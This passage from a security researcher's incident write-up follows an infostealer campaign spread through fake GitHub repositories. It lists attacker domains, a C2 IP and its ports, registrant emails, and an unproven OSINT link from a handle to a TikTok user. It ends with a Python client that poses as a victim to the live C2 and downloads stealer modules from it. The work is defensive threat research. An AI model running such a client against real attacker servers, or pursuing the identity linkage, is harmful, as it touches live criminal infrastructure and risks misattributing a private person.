保护的是登录流程,但如果已经认证过的会话 bearer material 被偷走且仍然有效,它并不会自动让这些会话失效。Steam 给出了一个尤其有用的例子:安全页面显示,可疑浏览器活动关联到一个最初建立于 8 月 3 日 的授权,而那甚至早于感染日期。 这和“复用之前已经授权的浏览器状态”很吻合,并不一定需要重新知道密码、再绕过一次 Steam Guard。整个时间线也因此更合理了:出现一次新的滥用行为,不代表主机又被新入侵了一次。另外,还需要考虑应用自身保存的认证材料。有些工具会在本地保留可复用凭据。具体文件、存储方式和保护措施因产品而异,不能假设每个安装环境都一样。后面的模块分析,会把这些原本只是“可能”的东西,变成具体的采集目标。综合来看,更可能的解释是: 后续持续发生的账号滥用,主要是最初入侵期间被窃取的认证材料所造成的后果,而不是 RAT 仍然持续控制着我的机器。 清掉恶意软件,不等于净化 我最初的响应明显过于围绕主机展开,主要关注的是: payload 还在跑吗?它在哪里建立了持久化? 重启后是谁把它重新拉起来?还有没有额外副本? C2 连接还活着吗? 这些问题都没错。但盲区同样让人不安: 恶意软件被删除之前,已经有什么东西被偷走了? 哪些认证材料仍然有效?哪些 session 需要撤销? 考虑到已经被攻陷的内容,后面还可能出现什么后果? 回头看,我不觉得这只是“漏了一个 checklist 项”这么简单。我的响应顺序在内部逻辑上其实是自洽的:中断执行、理解 loader、定位 payload、保存样本、识别持久化、移除 foothold、验证它没有回来。几乎每一步都围绕同一个目标优化:移除攻击者的主机级访问。从进攻安全角度,这个目标非常符合直觉。在红队行动里,凭据、cookie或令牌通常是一条路,而不是终点。我拿到它,是因为它可以让我去别的地方认证、提权、横向移动,或者继续朝最终目标推进。它的价值通常和它能开启哪条访问链绑定。但InfoStealer 生态的经济模型完全不同。凭据和已认证会话并不一定只是“继续控制原始机器”的中间步骤。它们本身就可以成为库存。可以被收集、打包、分发、出售,或者交给一个从没接触过那台被攻陷主机的人去消费,甚至是在最初的恶意软件操作者早就消失之后。所以,对手根本不一定需要回来。这就是我最初 threat model 的错位。我问的是:攻击者还能不能继续在这台机器上行动?但净化还需要另一个问题:即使主机级访问已经被消灭,还有什么东西依然处于被攻陷状态?很遗憾,删除  RuntimeBroker.exe,并不能自动修复那些已经离开机器的东西。 这里还有一个很重要的不对称:清除持久化会给你非常直接的反馈。删掉恶意任务、重启、看到可执行文件没回来;切断 C2,看连接消失。每一步都会让你直观地觉得“有一部分问题已经解决了”。凭据修复则完全不同。撤销被窃会话、轮换密钥、重置密码、登出所有会话,通常都不会给你一种“幸好我做了这一步”的明确确认。攻击者可能不会立刻使用某个令牌或凭据,但风险从它被偷走那一刻就已经存在。如果漏掉这一步,问题可能会安静地潜伏很久。后果可能几天后才出现,在另一个平台,以一种乍看和最初入侵毫无关系的形式出现。 这正是我遇到的情况。 恶意仓库 → PowerShell 投递 → RAT 执行 ↓ 认证材料被收集 ↓ 主机持久化被移除 ↓ 被窃取的认证材料在其他地方仍然有效 ↓ 访问被向下游分发或消费 ↓ 不同服务在不同时间被滥用 我的进攻安全背景当然还是非常有用的。我在相对较短的时间里完成了对 stager 和载荷的初步分析,切断 C2,清掉持久化。后来我和一个同样做网络安全的朋友聊这件事,他也觉得我的反应速度很快,还开玩笑说,他公司可能得花五个人日才能做完我在第一轮响应里干掉的这些事。但我漏掉了一个更根本的问题。威胁行为者并不是“邪恶版红队”或者“邪恶版渗透测试人员”。他们就是威胁行为者,按照自己的激励机制行动。如果路上拿到的东西本身已经有价值,他们根本不需要追求什么宏大的最终目标。对他们来说,几乎任何有用的战利品,都可以变成资产。 终端之外,继续追踪这条线 这次事件当然很让人不爽,但我必须承认,它成了我职业生涯里非常有价值的一课,甚至可能成为一个长期影响我方法论的转折点。到这个时候,主机级访问和被攻陷的凭据最终都已经处理完了,我也终于可以把更多时间花在这个网络犯罪团伙本身。而且我很想让他们知道:你们入侵、折腾的是一个黑客,我怎么可能就这么放过你们? 在必须遵守的边界之内,我仍然有很多事情可以做,足够给他们添点麻烦,让他们日子没那么舒服。所以,让我们把时间倒回事件最开始。这一次,不再只是跟在他们屁股后面清理垃圾。让我们当一次寻血猎犬,沿着他们的信息、基础设施和活动一路追下去。 第一块拼图:恶意仓库 最初的 artifact 是  MillipedeLoad/Adobe-Acrobat-Pro 仓库。第二次回头看时,我保留下来的截图变得更有用了:上面显示有 303 个 Star 和 17 个 Fork,但账号过去一年只有 5 次 contribution。表面上的项目热度,和能看到的真实开发活动,讲的是完全不同的故事。 一个 Star 很多、Commit 很少的仓库,并不会自动等于恶意。成熟项目可能是镜像、导入,或者主要在其他地方维护。但在这里,这种解释还必须同时解释另外两件事:README 把人引进了恶意 PowerShell 链,而仓库真正的源码内容几乎完全无法支撑它声称自己是什么软件。到这个时候,我已经不再相信它的 Star 和 Fork 数。结合上下文看,它们更像是人为制造出来的“热度”,某种 GitHub boost / farming,用来让仓库看起来更可信。 但这里立刻出现了一个问题:一些相关账号和仓库已经消失了。最方便的调查方式,打开 profile、看文件、顺着链接继续点——已经不是每个地方都还能用。于是我从那些还活着的对象向外扩展:缓存搜索结果、幸存 Fork、Git 历史,以及 Ecosyste.ms Timeline 这类展示 GH Archive 数据的公开事件归档。Web Archive 当然也是一个方向,但“向归档服务发起查询”本身,并不等于真的恢复出了一份页面快照。所以我从一开始就接受一个现实:原始仓库可能永远无法完整恢复。幸运的是,我其实也不需要完整恢复。元数据、特征、命名模式,以及其他残留痕迹,本身就已经能提供大量有价值的信息。 而且我并不相信,我遇到的恶意仓库是一个孤例。它背后大概率还有更大的恶意仓库网络,而这些仓库之间应该共享一些可识别的相似点:文件命名习惯、stager URI、重复使用的 README 指令、幸存 Fork、账号关系,以及其他运营模式。在这个假设下,调查的重点不再是“把某一个已经删掉的仓库恢复出来”,而是“找到它的亲戚”。这个思路效果很好。随着恢复和模式匹配继续进行,一个更大的网络开始浮现。 名字变了,本质没变 第一批有价值的仓库族,表面上覆盖了完全不相关的产品: 仓库 宣传主题 恢复出的关联 MillipedeLoad/Adobe-Acrobat-Pro PDF 软件 最初事件中的诱饵;父仓库历史被幸存 Fork 保留下来 GulfMouseVice/crypto-miner-gpu-cpu-hashrate 加密货币挖矿 shells[.]su 投递指令,以及相似的仓库生命周期 Binaryunenhance/instagram-liker-bot-auto-like-software-download Instagram 自动化 使用  gitbase[.]su 的平行投递指令 HyperIllusionistTap/Whale-Tracker-Analytics 市场分析 保留了同模板投递痕迹;幸存 Git 证据相对不完整 它们确实共享一些特征: /powershell/Genesis.ps1 路径、高度相似的远程执行指令、堆满关键词的 README、极小的文件树,以及根本不像真的实现了宣传功能的源码。早期快照里,几个仓库即使有数百个 Star,总体内容也只有大约 3–4 KB。 一个尤其有意思的细节,是语言会长。一个仓库放 temp.cpp,另一个放  temp.py,还有一个放  temp.cs。乍看上去,好像分别是 C++、Python 和 C# 项目。点进去以后,内容却完全一样: # LINK IN REPOSITORY 保留下来的 Git blob ID 也完全一致: f7aa7c960f15059c892e4558d44ad9ac70f46cba 三种看起来不同的实现语言,一条让你去别处的指令。这个徽章已经不是软件开发的证据,而只是包装的一部分。成本很低,却足以让一个以 README 为核心的投递页面更像正常代码仓库。完全一致的 blob 只能证明内容被复用,不能证明作者是谁。这样的短占位符太容易复制,本身也不够独特,无法独立支撑恶意活动的属性。真正有意义的是它周围的一致性:相同的投递路径、相同的“薄代码”结构、类似的 README 指令,以及紧随其后的推广时机。 仓库年龄是真的,但呈现出来的“历史感”具有误导性 提交历史又补上了一个很重要的修正:一个仓库完全可能已经存在好几个月,但这几个月里根本没有任何像现在宣传的软件内容。保留下来的  GulfMouseVice 历史,从 3 月 31 日开始时,README 只有一行标题: # fljghchq。到了 8 月 16 日,README 才被替换成一份明显更完整的 miner 宣传,其中包含 Genesis 投递命令。几分钟后,又补上了一个纯装饰用的 Python 文件。 Adobe 诱饵也有类似时间线:早期是一个极简 README,事件发生前不久才改成恶意内容,并加上占位源码。Instagram 分支则在 8 月更早的时候出现了平行的  gitbase[.]su 指令。 记录到的变化 保留 Commit 数据中的时间 为什么保留这条记录 Adobe 恶意 README 8 月 16 日 18:12:06 UTC 让这个旧仓库真正变得危险的内容变化 Adobe  temp.cpp 占位文件 8 月 16 日 18:14:34 UTC 紧随其后的装饰性“源码语言”贡献 Miner 恶意 README 8 月 16 日 19:45:40 UTC 大约 94 分钟后出现的类似转换 Miner  temp.py 占位文件 8 月 16 日 19:48:28 UTC 同样只隔很短时间就补上装饰性源码文件 结合时间线和模式看,这些仓库虽然几个月前就已经创建,但中间很长时间基本没有活动。一个合理的解释是:这个团伙希望“仓库年龄”本身看起来更可信。然后到了某个时间点,它们才被更新成现在这种样子,再加入恶意安装流程,用来更好地欺骗潜在受害者 恶意 GitHub 网络:Bot、恶意仓库与刷热度 这些 Fork 有两方面价值。第一,它们保存了证据。Adobe 的幸存 Fork,例如  dev-Warrior65621 和  zx-King7147447733lion,以及  mad-Plasma-Mind9 等账号下的 miner Fork,即使原仓库已经不可访问,仍然保留了父子关系和 Git 历史。第二,它们的时间也帮助还原了仓库是如何被推广的。在几个保留下来的样本里,Fork 分别大约出现在 weaponization 或最终修改后的 12、21、33 分钟。这个模式说明,仓库准备好之后往往很快就会进入推广。 账号命名也开始越来越眼熟:单词和数字组合,再经常接一个看起来很技术的后缀,例如  -hub、 -bin、 -cli、 -pwn、 -cfg。例子多到一定程度后,它们越来越不像互不相关的真实用户名,更像是同一套命名程序批量吐出来的结果。单看命名模式当然不算特别强的证据。真正让它变得有意思的是,同样的命名风格一直和同样的行为绑在一起出现:新建或内容极少的账号、刚武器化仓库附近高度集中的时间窗口、类似的 Fork 活动、相同的投递模板。到这个时候,我已经不是在看一堆可疑仓库了。我看到的是一张网络。 下一轮扩展,我围绕交替 pivot 来做: 仓库 → Star/Fork 账号 → 这些账号的其他仓库 → 仓库所有者 → 更多已记录交互 图里的边必须区分类型。 owns 表示平台记录的所有权, starred 表示一个公开事件, fork 则表示 lineage。其中一个历史仓库成了非常有价值的种子: gitlerzov1488gitler-cmd/RUST-2026-A-I-M 持有者的用户名已经足够不寻常,值得单独调查,后面我会回来继续追它。对这张图来说,它第一时间真正有价值的是周围的事件历史。保留下来的 Timeline 记录显示:2026 年 1 月 7 日 17:48,Owner 自己先 Star 了仓库;随后在页面显示的 19:41–19:44 这三分钟里,又有 10 个其他账号 给它 Star。三分钟,并不是十个互不相关的人“恰好发现同一个冷门仓库”所需要的一个很宽松的时间窗口,尤其是其中几个账号,又在同样的几分钟里出现在其他相同项目周围。事件图里保留下来的十账号: fastjack73leontrq finklousen59upy pripak-minibearqie greyjulianbell491vdf stne-100ye7 funnyway9m51 bambino66lamb4bn urch-arrow376 laner-mrgood306 brom-100cmh glas2000wsz 下面的两个优化项目,和这批账号共享了其中四个。其他反复出现的目标还包括 Rust 和 Valorant Cheat、Counter-Strike 换肤器、Authenticator、性能工具等。真正有信息量的,不是某一个项目看起来多么吓人的标题,而是这些反复出现的账号。 这种活动还会跨时间重复。1 月 19 日的一波围绕 Cheat 和 Executor 主题;1 月 28 日,两名 seed stargazer 在 13 分钟内推广了同一个 Authenticator;2 月 6 日,一个账号在大约一分钟里连续 Star 了多个游戏/性能项目。2 月 8 日,一个市场分析助手又和另一个游戏相关目标同时出现。这已经不能简单解释成“喜欢游戏的人有时候会 Star 游戏仓库”。这是同一小批账号,反复给本来互不相关的软件主题制造类似的集中热度。 第一轮有界扩展包含 47 个节点、67 条边:28 个账号节点、19 个仓库、48 条 Star 关系、19 条所有权关系。第二轮扩展到了 125 个节点、150 条边,其中包括 54 个账号节点、45 个仓库、14 个证据节点、6 个 skill 变体,以及 6 个其他类型对象。抽样的 25 个当前 Fork 已经包含在仓库数量中。 这张可视化图并不是他们恶意 GitHub 运营的完整表示。我依旧可能漏掉了一些特征,而且我主动停在第二轮有界扩展,没有继续做第三轮乃至更多。即便只看这个有限范围,网络已经比我最初预期大得多。如果把每条分支都继续追下去,它还能延伸多远,我只能想象。至少有一件事已经很明确:这不是一个小规模行动,这个团伙不能被低估。 IP、域名,以及基础设施自己泄露出来的东西 到这个时候,我已经掌握了足够多关于他们恶意 GitHub 运营的信息。接下来最自然的线索,就是他们的 IP、域名和更广泛的基础设施。 主机侧调查其实已经暴露出了不止一种服务器角色。 shells[.]su 属于投递和截图收集这一层; 145.63.134[.]94 出现在原生载荷的运行时通信中;平行仓库模板里又出现了  gitbase[.]su。 我没有把它们全部粗暴地标成 C2,而是把这些角色分开。这样更容易看清基础设施到底是怎么拼起来的:有些系统负责投递载荷,有些负责接收被窃取的数据,还有一些后来出现在账号滥用或推广活动里。围绕  192.162.199[.]184 的历史记录尤其有用。调查材料把它和  shells[.]su 联系在一起,也记录了更早期的域名,包括  verificator[.]cc。后续的网络报告还把  genesis-hub[.]cc 记录在同一个托管集群中。这些观察让一个表面入口不断变化的基础设施,出现了连续性。细节可以参考: https://phishdestroy.io/domain/verificator.cc/ https://gridinsoft.com/online-virus-scanner/url/verificator-cc https://phishdestroy.io/domain/genesis-hub.cc/ https://gridinsoft.com/online-virus-scanner/url/genesis_hub-cc 当然,这类信息也有边界。一个 IP 在不同时间可以托管不同域名,共享或重复使用基础设施,并不能自动证明背后是同一个租户。真正有用的单位,是把主机、服务、域名、路径和观测时间放在一起看。 保留下来的域名研究显示, verificator[.]cc 注册于 7 月 27 日, genesis-hub[.]cc 注册于 7 月 30 日,两者在历史上都和同一台  .184 服务器有关。 shells[.]su 随后在 8 月 13 日出现,诱饵仓库则在不久后完成武器化。那些更早的威胁情报记录真正有价值的地方,并不只是某个信誉服务给它画了一个红色警告图标,而是说明:在我执行那个具体诱饵之前,这台主机就已经存在相关的恶意托管背景。 透露过于详细信息的Windows服务器 前面已经知道,IP  145.63.134[.]94 是 C2 服务器,而  192.162.199.184 是投递服务器。但两台机器都把远超必要范围的服务暴露到了互联网,而不是采用 IP 白名单、本地监听或隧道访问之类的方式。Shodan 保存了两台主机的快照: https://www.shodan.io/host/192.162.199.184 https://www.shodan.io/host/145.63.134.94 暴露 135、445、3389 之类的端口,当然不代表系统就一定能被入侵,但我也很难把这称作很好的 OPSEC。一些服务返回很详细的响应信息,会泄露对威胁猎手有用的指纹,甚至可能给其他盯上这套基础设施的攻击者留下一些面包屑。这里还有点讽刺:我是红队,我一样会中招;他们也是攻击者,但这可不代表没人能打他们哈 lol 那个怎么都看着不自然的Handle shells[.]su 的记录中保留了一个注册联系人: krassavchik13370@gmail[.]com 记录的注册时间是 2026 年 8 月 13 日 19:17:32 UTC。对  gitbase[.]su 的调查又带出了另一个被报告的联系人 gitlerzov1488gitler@gmail[.]com 一个联系字符串当然不能证明真实法定身份。它可能是一次性邮箱、被盗账号、误导性元数据,甚至是故意留下来的假线索。但这个名字和周围那些明显像随机生成的 GitHub 用户名差别很大。而我此前已经在一个历史仓库 Owner 上见过几乎完全一样的版本: WHOIS contact local part: gitlerzov1488gitler Historical GitHub owner: gitlerzov1488gitler-cmd 好吧,这个 Handle 相比其他随机感十足的 Handle,的确里显得格格不入。核心字符串是 gitlerzov1488。完整邮箱的用户名部分在结尾又重复了一次 gitler,而 GitHub Owner 则加了  -cmd。它足够具体,可以拆成更小的片段和精确组合去搜索,而不需要把所有名字里只要带  gitler 或  1488 的账号都算成命中。 “Gitler” 是对 Hitler 的影射,而 “1488” 通常与种族主义和白人至上主义意识形态相关。考虑到各类在线社区的审核力度,以及公开表达这类观点可能招来的抵制和尴尬,我不太相信围绕这些词构造、还能长期存活的 Handle 会多到哪里去,虽然肯定也不至于只有三五个。 gitler1488 这个组合应该会稀有得多,可能只出现少量几次,但大概仍然谈不上唯一,因为在某些亚文化圈子里,这依旧算是一个比较直白的组合。不过加入  ZOV 之后,情况就明显不一样了。它是一个区分度高得多的短字符串,让整个复合 Handle 变得异常稀有,在现实中甚至有可能近似唯一。我的问题是:这个Handle,是否和一个存在时间更长的个人发生了重叠。即使最后拿不到真实姓名、地址、国籍或雇主,这本身也会是一个很有意思的 OPSEC 观察。 通过搜索引擎和 Sherlock 之类的工具,一个 TikTok 账号引起了我的注意:它的 Handle 恰好就是  gitlerzov1488,显示名为 “Mango kartel 66”。这个用户的视频主题比较杂,其中 Minecraft 相关内容尤其值得注意。 在一段 Minecraft 视频里,游戏角色站在一艘做成纳粹卐字符形状的船上,评论区也吸引了一些持有类似意识形态的人。 既然 Minecraft 是他频道里一个比较关键的元素,我又交叉搜索了 Minecraft 相关社交平台,并找到了两个潜在匹配。 我还在 KLauncher 社区找到了一个命中。 除了精确的  gitlerzov1488,我也搜索了各种变体和相关组合,例如  1488gitler1488。但到最后,我仍然缺少一些能把所有东西真正连起来的桥。 即便是  gitlerzov1488,我也不认为这是一个会被很多毫无关系的人各自独立想到的 Handle,所以现有的匹配当然都是很有价值的线索。但我依旧无法证明它们全部属于同一个人,也不能仅凭这些就做出确定归因。也许这就是 OSINT 本身的不确定性。有时候,整个模式会越来越像那么回事,但你最想要的最后那块拼图,就是迟迟不出现。 这种反差仍然让我有些困惑。大多数 GitHub 账号看起来都很一次性和随机,唯独这个账号既和一个非常有辨识度的邮箱用户名部分重叠,又对应到了一个有更早活动记录的公开个人。这会不会是一次早期 OPSEC 失误,而后面那些随机化账号正是为了掩盖这个失误?这是一个值得记录的合理假设。事实上,GitHub上恶意仓库和用户的大规模互相挽尊事件早在 1 月就已经出现,比我 8 月感染早了好几个月。现有数据并没有展示一个干净的“先用个人 Handle,后来再切换成匿名水军大军”的转变。这个账号池可能用于推广、轮换,也可能来自共享的商业服务,或者同时承担好几种用途。 重访样本:当 IOC 还不是全部答案 在事件发生期间, 1.exe 对我最有价值的地方,是它能回答一些直接可行动的问题:它把自己复制到哪里、什么东西会重新拉起它、它在连接谁,以及哪些主机侧痕迹需要删除或保留。AI 辅助分析确实缩短了这个过程,但它并不是对整个程序的一次完整重建。 在应急处理和净化任务结束之后,一个尴尬的不一致仍然存在。后续账号事件强烈暗示发生了信息窃取;而对这个可执行文件的分析已经找到了持久化、C2、任务下发、混淆以及进程/内存操作,却始终没有看到一个明显且完整的实现,足以解释后来表现出来的浏览器和应用数据窃取。这里有几种可能:相关代码可能被混淆藏住了;也可能在快速分诊时被漏掉了;又或者它根本不在这个可执行文件里。第三种可能,比我最初给它的重视程度更值得认真对待。到了这里,威胁情报和逆向分析也不再是两条独立工作流:基础设施和任务分发线索告诉我该去二进制里找什么,而二进制又告诉我,哪些观测结果可以用来区分这些互相竞争的解释。 你好,我是你的新受害者,不过是假的 对协议的分析最终带出了几份使用伪造主机画像的观测脚本。思路很简单:我想理解投递和任务分发行为,但不想再送给对方一台真实主机,更不会执行它返回来的任何东西。客户端只需要记录任务消息,不需要真正实现对方要求的任务执行。它不需要浏览器凭据、真实文件,也不需要真的具备信息窃取能力,就足以让我看到控制通道究竟在告诉客户端做什么。 记录到的流程很熟悉:客户端先注册,服务器通过 getinfo 请求信息,然后客户端返回一份伪造画像。接着,那条改变了分析方向的消息出现了 python .\genesis_synthetic_victim_suite.py honeypot ` >> --id A1B2C3D4 ` >> --user jsmith ` >> --os "Windows 11 Pro" ` >> --av "Windows Defender" ` >> --observe 600 ` >> --logfile c2_406.jsonl [2026-09-08T03:49:08+00:00] PROFILE Synthetic C2 victim: id=A1B2C3D4 user=jsmith os='Windows 11 Pro' av='Windows Defender' [2026-09-08T03:49:08+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols [2026-09-08T03:49:08+00:00] SEND Registered synthetic victim: 'ready;A1B2C3D4;version;1.0.0' [2026-09-08T03:49:09+00:00] RECV C2 command [GETINFO]: 'getinfo' [2026-09-08T03:49:09+00:00] SEND Sent synthetic victim information: 'info;Windows Defender;Windows 11 Pro;jsmith;36763880' [2026-09-08T03:49:09+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2' [2026-09-08T03:49:09+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2' [2026-09-08T03:49:09+00:00] MODULE-OFF Task 'Stealer' recorded; TCP/408 collection is disabled [2026-09-08T03:49:12+00:00] RECV C2 command [PING]: 'ping' [2026-09-08T03:49:12+00:00] SEND Sent application-layer pong [2026-09-08T03:49:27+00:00] RECV C2 command [PING]: 'ping' [2026-09-08T03:49:27+00:00] SEND Sent application-layer pong [2026-09-08T03:49:42+00:00] RECV C2 command [PING]: 'ping' [2026-09-08T03:49:42+00:00] SEND Sent application-layer pong 这就是调查过程中真实捕获到的任务文本。任务名本身已经非常直白,但当时我的探测仅限于 406 端口,所以仍然拿不到足够多的线索,去理解这个 Stealer 任务到底是怎么工作的。 重新回到最初那个可执行文件之后,分工终于清楚了:406 端口是 WebSocket tasking 通道,408 端口则通过另一条 HTTP 连接提供模块。 task 消息本来就不是用来把整个模块字节塞进去的。当我实现了对 408 端口的模拟交互后,最终捕获记录变成了这样: python .\genesis_synthetic_victim_suite.py honeypot ` >> --capture-modules ` >> --capture-dir captured_modules ` >> --logfile c2_full.jsonl [2026-09-08T03:51:03+00:00] PROFILE Synthetic C2 victim: id=0EF155DE user=alex os='Windows 11 Pro' av='Avast Antivirus' [2026-09-08T03:51:04+00:00] HANDSHAKE Control channel response: HTTP/1.1 101 Switching Protocols [2026-09-08T03:51:04+00:00] SEND Registered synthetic victim: 'ready;0EF155DE;version;1.0.0' [2026-09-08T03:51:04+00:00] RECV C2 command [GETINFO]: 'getinfo' [2026-09-08T03:51:04+00:00] SEND Sent synthetic victim information: 'info;Avast Antivirus;Windows 11 Pro;alex;36763880' [2026-09-08T03:51:04+00:00] RECV C2 command [TASK]: 'task;createtask;Stealer;task_id;5v2nlq_oqgr;version;1.0.2' [2026-09-08T03:51:04+00:00] TASK Observed createtask: type='Stealer' id='5v2nlq_oqgr' version='1.0.2' [2026-09-08T03:51:04+00:00] MODULE-GET GET 145.63.134.94:408/task/Stealer User-Agent=0EF155DE [2026-09-08T03:51:05+00:00] MODULE Captured and neutered Stealer 1.0.2: captured_modules\20260907_235105_synthetic_Stealer_1.0.2_5v2nlq_oqgr_9651824ed3d1.quarantine.bin original_size=1459712 original_sha256=9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3 [2026-09-08T03:51:12+00:00] RECV C2 command [PING]: 'ping' [2026-09-08T03:51:12+00:00] SEND Sent application-layer pong [2026-09-08T03:51:27+00:00] RECV C2 command [PING]: 'ping' [2026-09-08T03:51:27+00:00] SEND Sent application-layer pong 这一次,样本是真的送上门了。新文件是一个原生 x64 DLL,而不是另一份 533,504 字节的  1.exe。原始捕获哈希为: 9651824ed3d16bb543762a1aa5498d7fde278567c001605d0a32c2db0125cfb3 DLL 自己的报告生成代码中包含 “Redhive Stealer” 这个标签。它的初始化逻辑还会先检查  Global\RuntimeBrokerAds,也就是此前已经和原始 loader 关联起来的 mutex。随后再使用 Global\StealerLib 控制自身实例。这比“下载下来的文件被叫作 Stealer”这种表面现象,是强得多的代码级关联。现在,整个架构终于更连贯了: Persistent loader / RAT ↓ receives task Separately supplied Stealer DLL ↓ collects and organizes data Independent result-upload channel 这种模块化思路很像后渗透框架:把通信和调度留在常驻组件里,再根据具体任务下发所需要的能力。实际捕获到的对象就是一个 DLL。这也改变了我此前一个很“安心”的发现所代表的意义。所有已识别的自启动项完全可以都指向同一个可执行文件,但这个可执行文件仍然能够在运行时获取额外能力。我用来模拟受害者的脚本如下: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Genesis-SU Synthetic Victim Suite Integrated defensive research utility with four functional modules: delivery Synthetic delivery/staging callbacks + fake screenshot upload honeypot TCP/406 WebSocket synthetic victim; optional task-triggered 408 collection workflow delivery -> 406 honeypot -> optional 408 collection using one identity exfil-* Controlled TCP/1488 protocol laboratory using synthetic ZIP content only Safety invariants: * All victim data is synthetic. * Attacker-supplied responses/tasks are recorded only and never executed. * Downloaded modules are never loaded or run. * Valid PE modules are neutered before disk I/O and stored read-only. * Synthetic screenshots are generated in memory; the analyst desktop is never captured. * TCP/1488 client mode is restricted to loopback/private controlled targets. * No brute-force, flooding, service enumeration, or exploit logic is included. """ from __future__ import annotations import argparse, base64, hashlib, io, ipaddress, json, os, random, re import secrets, socket, ssl, stat, string, struct, threading, time import urllib.error, urllib.parse, urllib.request, zipfile, zlib from dataclasses import asdict, dataclass from datetime import datetime, timezone from pathlib import Path, PurePosixPath from typing import Iterable, Optional DEFAULT_DELIVERY_BASE = "https://shells.su" DEFAULT_C2_HOST = "145.63.134.94" DEFAULT_CONTROL_PORT = 406 DEFAULT_TASK_PORT = 408 DEFAULT_EXFIL_PORT = 1488 WS_GUID = "258EAFA5-E914-47DA-95CA-C5AB0DC85B11" WS_KEY = "dGhlIHNhbXBsZSBub25jZQ==" BOT_VERSION = "1.0.0" CAMPAIGN_ID = "36763880" DEFAULT_STAGING_UA = "tlmqByUgtFbCmHjtfHJETtvEqghqrHORnDzNqWEEbXXipkrdHXJotzEvuerMxVgDiLp" MAX_MODULE_BYTES = 0x300000 MAX_HTTP_HEADER = 65536 MAX_EXFIL_ARCHIVE = 4 * 1024 * 1024 MAX_EXFIL_ENTRY = 512 * 1024 MAX_EXFIL_ENTRIES = 64 AUTH_MARKER = b"auth_ok" WS_OP_CONT, WS_OP_TEXT, WS_OP_BINARY = 0x0, 0x1, 0x2 WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG = 0x8, 0x9, 0xA SAFE_TASK_CHARS = set("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789._-") class Logger: def __init__(self, jsonl_path=None): self.fp = open(jsonl_path, "a", encoding="utf-8") if jsonl_path else None self.lock = threading.Lock() @staticmethod def iso(): return datetime.now(timezone.utc).isoformat(timespec="seconds") def event(self, tag, message, **fields): with self.lock: print(f"[{self.iso()}] {tag:<11} {message}", flush=True) if self.fp: rec = {"time_unix": time.time(), "time_utc": self.iso(), "tag": tag, "message": message, **fields} self.fp.write(json.dumps(rec, ensure_ascii=False) + "\n") self.fp.flush() def close(self): if self.fp: self.fp.close() @dataclass class VictimProfile: hostname: str = "" username: str = "" os_version: str = "" av_product: str = "" bot_id: str = CAMPAIGN_ID checkin_id: str = "" country: str = "" def randomize(self): if not self.hostname: self.hostname = "DESKTOP-" + "".join(random.choices(string.ascii_uppercase + string.digits, k=7)) if not self.username: self.username = random.choice(["jsmith", "mwilson", "klee", "alex", "charlie", "operator"]) if not self.os_version: self.os_version = random.choice(["Windows 11 Pro", "Windows 10 Pro", "Windows 11 Enterprise", "Windows 10 Enterprise"]) if not self.av_product: self.av_product = random.choice(["Windows Defender", "Windows Defender", "Avast Antivirus", "ESET Security"]) if not self.checkin_id: self.checkin_id = f"{int.from_bytes(os.urandom(4), 'big'):08X}" if not self.country: self.country = random.choice(["US", "CA", "DE", "GB", "AU"]) return self def checkin_message(self): return f"ready;{self.checkin_id};version;{BOT_VERSION}" def info_message(self): return f"info;{self.av_product or 'unknown'};{self.os_version};{self.username};{self.bot_id}" def build_profile(args): return VictimProfile( hostname=getattr(args, "hostname", "") or "", username=getattr(args, "user", "") or "", os_version=getattr(args, "os_version", "") or "", av_product=getattr(args, "av", "") or "", bot_id=getattr(args, "botid", CAMPAIGN_ID) or CAMPAIGN_ID, checkin_id=(getattr(args, "id", "") or "").upper(), country=(getattr(args, "country", "") or "").upper(), ).randomize() def sha256_bytes(data): return hashlib.sha256(data).hexdigest() def read_only(path: Path): try: os.chmod(path, stat.S_IRUSR) except OSError: try: os.chmod(path, stat.S_IREAD) except OSError: pass def safe_component(value, max_len=64): return bool(value) and len(value) <= max_len and all(c in SAFE_TASK_CHARS for c in value) def response_preview(data, limit=240): return data[:limit].decode("utf-8", errors="replace").replace("\r", "\\r").replace("\n", "\\n") if data else "" # --------------------------------------------------------------------------- # Module 1: delivery / staging probe # --------------------------------------------------------------------------- def _png_chunk(kind, payload): crc = zlib.crc32(kind) crc = zlib.crc32(payload, crc) & 0xFFFFFFFF return struct.pack(">I", len(payload)) + kind + payload + struct.pack(">I", crc) def make_synthetic_desktop_png(width=960, height=540): """Generate a fake desktop-like PNG without reading the analyst desktop.""" width = max(320, min(width, 1920)); height = max(180, min(height, 1080)) rows = bytearray() for y in range(height): rows.append(0) for x in range(width): r = 20 + int(20 * y / height); g = 75 + int(45 * x / width); b = 130 + int(80 * y / height) wx0, wy0, wx1, wy1 = width // 7, height // 8, width * 6 // 7, height * 4 // 5 if wx0 <= x <= wx1 and wy0 <= y <= wy1: r, g, b = ((45, 48, 54) if y < wy0 + 32 else (235, 237, 240)) if wx0 + 18 <= x <= wx0 + 150 and wy0 + 55 <= y <= wy1 - 20: r, g, b = 220, 224, 229 if wx0 + 180 <= x <= wx1 - 25: if wy0 + 65 <= y <= wy0 + 120: r, g, b = 210, 225, 244 elif wy0 + 145 <= y <= wy0 + 205: r, g, b = 224, 234, 220 if y >= height - 42: r, g, b = 25, 28, 33 if 18 <= x <= 70 and 18 <= y <= 50: r, g, b = 220, 50, 50 rows.extend((r, g, b)) sig = b"\x89PNG\r\n\x1a\n" ihdr = struct.pack(">IIBBBBB", width, height, 8, 2, 0, 0, 0) return sig + _png_chunk(b"IHDR", ihdr) + _png_chunk(b"tEXt", b"Comment\x00SYNTHETIC RESEARCH DESKTOP - NO VICTIM DATA") + _png_chunk(b"IDAT", zlib.compress(bytes(rows), 6)) + _png_chunk(b"IEND", b"") @dataclass class HTTPObservation: method: str url: str status: Optional[int] response_size: int response_sha256: Optional[str] content_type: str preview: str error: str = "" def http_request(method, url, *, user_agent, body, timeout, insecure_tls): req = urllib.request.Request(url, data=body, method=method) req.add_header("User-Agent", user_agent) if body is not None: req.add_header("Content-Type", "application/x-www-form-urlencoded") ctx = ssl._create_unverified_context() if insecure_tls else ssl.create_default_context() try: with urllib.request.urlopen(req, timeout=timeout, 